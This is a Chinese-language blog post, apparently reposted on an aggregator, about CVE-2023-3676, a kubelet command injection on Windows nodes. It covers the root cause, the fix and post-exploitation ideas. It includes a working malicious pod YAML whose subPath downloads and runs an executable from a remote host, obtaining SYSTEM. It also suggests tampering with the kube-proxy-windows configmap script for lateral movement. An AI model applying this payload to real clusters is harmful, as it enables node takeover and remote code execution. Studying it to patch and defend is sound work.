K8S 中对 Windows 节点的利用

目录

漏洞概述

漏洞详情

​编辑

漏洞验证

补丁分析

在集群中探索

参考资料


在许多组织中,所运行的很大一部分服务和应用是 Windows 应用。Windows 容器提供了一种封装进程和包依赖项的方式,从而简化了 DevOps 实践,令 Windows 应用程序同样遵从云原生模式,实际生产中存在很多这样的混合集群。

K8S后渗透横向节点与持久化隐蔽方式探索

K8S API访问控制之RBAC利用 

之前两篇有关 K8S 的文章👆(点击文章查看),分别探索了对于 K8S 本身功能的利用、多种不同 RBAC 权限的利用,但是对于集群中 Windows 节点的情况下并未去研究,刚好近期 K8S 的一些漏洞是针对 Windows 节点。

漏洞概述

近期 kubernetes 中发现了漏洞 CVE-2023-3676,该漏洞可在集群中的 Windows 节点上创建 pod,并在节点上提权到管理员权限。 

受影响的版本:

  • • kubelet <= v1.28.0

  • • kubelet <= v1.27.4

  • • kubelet <= v1.26.7

  • • kubelet <= v1.25.12

  • • kubelet <= v1.24.16

漏洞详情

该漏洞是一个典型的命令注入,由于节点上运行的 kubelet 是由本地最高权限即管理员权限,通过创建 pod 使用 kubelet 的权限以达到提权。

命令注入就是将用户提交的数据未经过滤或者过滤不严格,通过拼接将参数传入调用系统命令的函数调用处。

用户在集群中创建 pod 时,可以在主机和 pod 之间创建共享目录就是卷,卷主要用来多个 pod 共享文件,或者持久化容器生命周期内创建或修改的文件。

在 pod 中共享卷是非常方便的,volumeMounts.subPath 属性可用于指定所引用的卷内的子路径,而不是其根路径。

该漏洞就是通过 kubelet 在解析 subPath 参数时,未经处理直接传递给 Powershell,通过 PS 检查并解析符号链接。

kubelet 在解析 yaml 文件时,会调用函数isLinkPath来对subPath进行校验已确保不会因为该参数创建符号链接。

该函数主要讲subPath作为参数确实是否为符号链接,然后创建一个PS命令,并通过exec.Command之间调用,而在这里并未做其他校验直接进行了命令调用,存在命令注入的可能。

 Powershell中的子表达式运算符$()返回一个或多个语句的结果。对于单个结果,返回一个标量。对于多个结果,返回一个数组。如果要在另一个表达式中使用某个表达式,请使用此方法。例如,在字符串表达式中嵌入命令的结果。

PS> "Today is $(Get-Date)"
Today is 12/02/2019 13:15:20

PS> "Folder list: $((dir c:\ -dir).Name -join ', ')"
Folder list: Program Files, Program Files (x86), Users, Windows

除了以上示例外其他任何 PS 命令都可以使用,如$(Start-Process cmd)$(Invoke-Expression exp)等等。

漏洞验证

通过上面分析我们可以构建一个恶意的 pod 进行验证,参考下面的 yaml

apiVersion: v1
kind: Pod
metadata:
  name: cve-2023-3676
spec:
  containers:
  - name: test
    image: mcr.microsoft.com/powershell:lts-7.2-nanoserver-1809
    command: ["pwsh"]
    args: ["-Command", "Start-Sleep", "3600"]
    volumeMounts:
    - name: win-etc
      mountPath: c:\etc
      subPath: $(Start-process powershell (new-object System.Net.WebClient).DownloadFile('http://x.xx.x.x/a.exe','C:\a.exe');start-process 'C:\a.exe')
  nodeSelector:
    kubernetes.io/os: windows
  volumes:
  - name: win-etc

执行并创建该 pod,并将 cmd 设置为 cs 生成的 ps。

kubectl apply -f CVE-2023-3676.yaml

由于 subPath 不正确 pod 创建失败,但是命令成功执行,成功上线并且权限也是管理员nt authority\system,而且由于 pod 创建失败会一直创建不停上线,后续还需优化。

补丁分析

下图为官方对漏洞修复的代码

设置了 $ErrorActionPreference = 'Stop':这意味着如果PowerShell报错就会抛出异常并终止命令的执行,阻碍了攻击者通过错误获得信息。

使用 -Force $env:linkpath在命令中使用了 -Force 参数和 $env:linkpath 变量,以确保在获取目标文件时跳过安全限制,并使用环境变量传递路径值,这样作为变量传递的话参数将被视为字符串而不能在计算表达式。

使用 cmd.Env设置环境变量:将 path 值作为环境变量传递给,而不是直接拼接到命令中,阻止了命令注入的问题。

在集群中探索

结合之前的文章,可以在存在 RBAC 权限符合的情况下,在 Windows 节点上创建恶意的 pod 完成内网横向并且获得权限且是管理员权限,Windows 节点由于该利用会导致无法创建成功。

如果利用 Windows 版本的 kube-proxy 会导致集群出现问题,其中 kube-proxy-windows 会使用到一个 ps 脚本,该脚本存放在 configmap 中,也可以修改该脚本完成横向

参考资料

  • • https://github.com/kubernetes/kubernetes/issues/119339

  • • https://www.akamai.com/blog/security-research/kubernetes-critical-vulnerability-command-injection

  • • https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/272699.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深入探究MongoDB:从基础到实战,一个全面的指南

MongoDB:海量数据库的介绍 定义与命名由来: MongoDB源自词“humongous”,意味着“巨大无比”。因此,MongoDB可译为“海量数据库”。类型: MongoDB是一种非关系型(NoSQL)数据库。与传统的关系型数据库相比,它的显著特点是不使用SQL语句。数据结构更灵活,没有固定的数据类…

装饰模式(单一责任)

Decorator&#xff08;装饰模式&#xff1a;单一责任模式&#xff09; 链接&#xff1a;装饰模式实例代码 解析 目的 在某些情况下我们可能会“过度地使用继承来扩展对象的功能”&#xff0c;由于继承为类型引入的静态特质&#xff0c;使得这种扩展方式缺乏灵活性&#xff…

【C语言】指针详解(四)

目录 1.assert断言 2.指针的使用和传址调用 2.1strlen的模拟使用 2.2传值调用和传址调用 1.assert断言 assert.h头文件定义了宏 assert()&#xff0c;用于在运行时确保程序符合指定条件&#xff0c;如果不符合&#xff0c;就报错终止运行。这个宏常常被称为“断言”。 例如…

【Azure 架构师学习笔记】- Power Platform(1) - 简介

本文属于【Azure 架构师学习笔记】系列。 本文属于【Power Platform】系列。 Power Platform 它是一个SaaS平台&#xff0c;支持和延伸M365&#xff0c; Dynamics 365和Azure甚至其他第三方服务。主要提供低代码&#xff0c;自动化&#xff0c;数据驱动和定制化业务逻辑的服务…

NFC物联网一次性口令认证解决方案

物联网是由无线传感器网络、射频识别(RadioFrequency Identificalion&#xff0c;RFID)网络、互联网等构成的一种复合型网络&#xff0c;具有部分终端设备体积小、存储和计算处理能力弱的特点。顾名思义&#xff0c;物联网就是“物物相连的互联网”&#xff0c;也就是说,物联网…

Spark与Hadoop的关系和区别

在大数据领域&#xff0c;Spark和Hadoop是两个备受欢迎的分布式数据处理框架&#xff0c;它们在处理大规模数据时都具有重要作用。本文将深入探讨Spark与Hadoop之间的关系和区别&#xff0c;以帮助大家的功能和用途。 Spark和Hadoop简介 1 Hadoop Hadoop是一个由Apache基金会…

工具系列:TimeGPT_(1)获取token方式和初步使用

文章目录 介绍获取Token用法数据的重要要求使用DateTime索引推断频率。 介绍 Nixtla的TimeGPT是一种用于时间序列数据的生成式预训练预测模型。TimeGPT可以在没有训练的情况下&#xff0c;仅使用历史值作为输入&#xff0c;为新的时间序列生成准确的预测。TimeGPT可以用于各种…

亚马逊云科技 re:Invent 大会 - ElastiCache Serverless 模式来袭

大会介绍 亚马逊云科技的 re:Invent 大会是一年一度的&#xff0c;面向全球技术开发者科技盛会。几乎每次都会发布云科技、云计算等相关领域的产品重磅更新&#xff0c;不但将时下主流热门的技术不断整合&#xff0c;也未将来的发展标明了方向。 亚马逊云科技开发者社区为开发…

安卓系统和鸿蒙系统,哪个更适合老人使用

安卓系统和鸿蒙系统各有优势&#xff0c;但总体来说&#xff0c;鸿蒙系统可能更适合老人使用。以下是几个原因&#xff1a; 1.易用性&#xff1a; 鸿蒙系统针对老年人的使用习惯和需求进行了优化设计。它采用了更加直观、简洁的界面设计&#xff0c;降低复杂度并提升操作效率。…

Vue在页面上添加水印

第一步&#xff1a;在自己的项目里创建一个js文件&#xff1b;如图所示我在在watermark文件中创建了一个名为waterMark.js文件。 waterMark.js /** 水印添加方法 */ let setWatermark (str1, str2) > {let id 1.23452384164.123412415if (document.getElementById(id) …

为什么深度学习神经网络可以学习任何东西

下图你所看到的&#xff0c;是著名的曼德尔布罗特集&#xff0c;我们可以见证这个集合呈现出的复杂形态&#xff1a; 要理解神经网络如何学习曼德尔布罗特集&#xff0c;我们首先需要从最基础的数学概念讲起&#xff1a;什么是函数&#xff1f;函数本质上是一个将输入转化为输出…

AR智慧校园三维主电子沙盘系统研究及应用

一 、概述 易图讯科技(www.3dgis.top)自主研发的智慧校园三维主电子沙盘系统&#xff0c;采用B/S架构模式&#xff0c;采用自主可控高性能WebGIS可视化引擎&#xff0c;支持多用户客户端通过网络请求访问服务器地图和专题数据&#xff0c;提供地理信息数据、专题数据的并发访问…

问题解决 | Ubuntu重启无法进入系统

Ubuntu18.04重启无法进入系统&#xff0c;重开后如图 一直在加载系统内核4.15.0-213-generic,无法加载 错误原因 原本的系统是Ubuntu16.04,使用命令升级到Ubuntu18.04版本&#xff0c;升级重启后&#xff0c;远程无法连接&#xff01; 错误解决 第一步&#xff1a;进入GRUB…

java爬虫(jsoup)如何设置HTTP代理ip爬数据

目录 前言 什么是HTTP代理IP 使用Jsoup设置HTTP代理IP的步骤 1. 导入Jsoup依赖 2. 创建HttpProxy类 3. 设置代理服务器 4. 使用Jsoup进行爬取 结论 前言 在Java中使用Jsoup进行网络爬虫操作时&#xff0c;有时需要使用HTTP代理IP来爬取数据。本文将介绍如何使用Jsoup设…

2023年9月25日,开启华为鸿蒙应用开发新纪元!!!

鸿蒙&#xff01;鸿蒙&#xff01;鸿蒙&#xff01; 要说2023年IT圈最火爆的名词&#xff0c;一定是鸿蒙&#xff01; 2023年9月25日&#xff0c;华为发布会正式宣布2024年第一季度将推出HarmonyOS NEXT版本&#xff0c;这意味着鸿蒙原生应用开发将彻底摆脱Android手机系统&a…

实现阿里云oos云存储,简单几步

一、前言 虽然平常学习用的不多&#xff0c;但是用的时候再去找官方文档&#xff0c;也很繁琐&#xff0c;不如直接整理以下&#xff0c;方便粘贴复制&#xff0c;本文介绍两种图片上传方式①普通上传②服务端签名直传 1.普通上传 加载maven依赖 <dependency><grou…

【PHP】发送HTTP请求时参数快速组装

1.POST、GET参数组装 利用compact、http_build_query函数 // post的数组体$a 1;$b 2;$c $a $b;$array compact(a,b,c); // 组合请求参数print_r($array);// get的url组装$paramsStr http_build_query($array);print_r($paramsStr); 打印结果 2.一个请求示例 使用guzzle …

设计模式-依赖注入模式

设计模式专栏 模式介绍模式特点应用场景依赖注入和控制反转的区别代码示例Java实现依赖注入模式Python实现依赖注入模式 依赖注入模式在spring中的应用 模式介绍 依赖注入&#xff08;Dependency Injection&#xff0c;简称DI&#xff09;是一种面向对象编程中的设计模式&…

【宇宙猜想】AR文创入驻今日美术馆、北京天文馆等众多展馆,在AR互动中感受科技魅力!

近日&#xff0c;由「宇宙猜想」推出的AR系列文创产品先后入驻今日美术馆、北京天文馆、国家自然博物馆、上海天文馆、国家海洋馆、中华手工展馆等各大馆场并与其展开相关合作。 「宇宙猜想」致力于创造虚拟空间价值&#xff0c;用AR技术与文创产品碰撞出新的火花&#xff0c;为…

【星海随笔】网络运维

[rootlocalhost ~]# source admin-openrcRabbitMQ 工作机理 1.客户端连接到消息队列服务器&#xff0c;打开一个channel。 2.客户端声明一个exchange&#xff0c;并设置相关属性。 3.客户端声明一个queue&#xff0c;并设置相关属性。 4.客户端使用routing key&#xff0c;在ex…
最新文章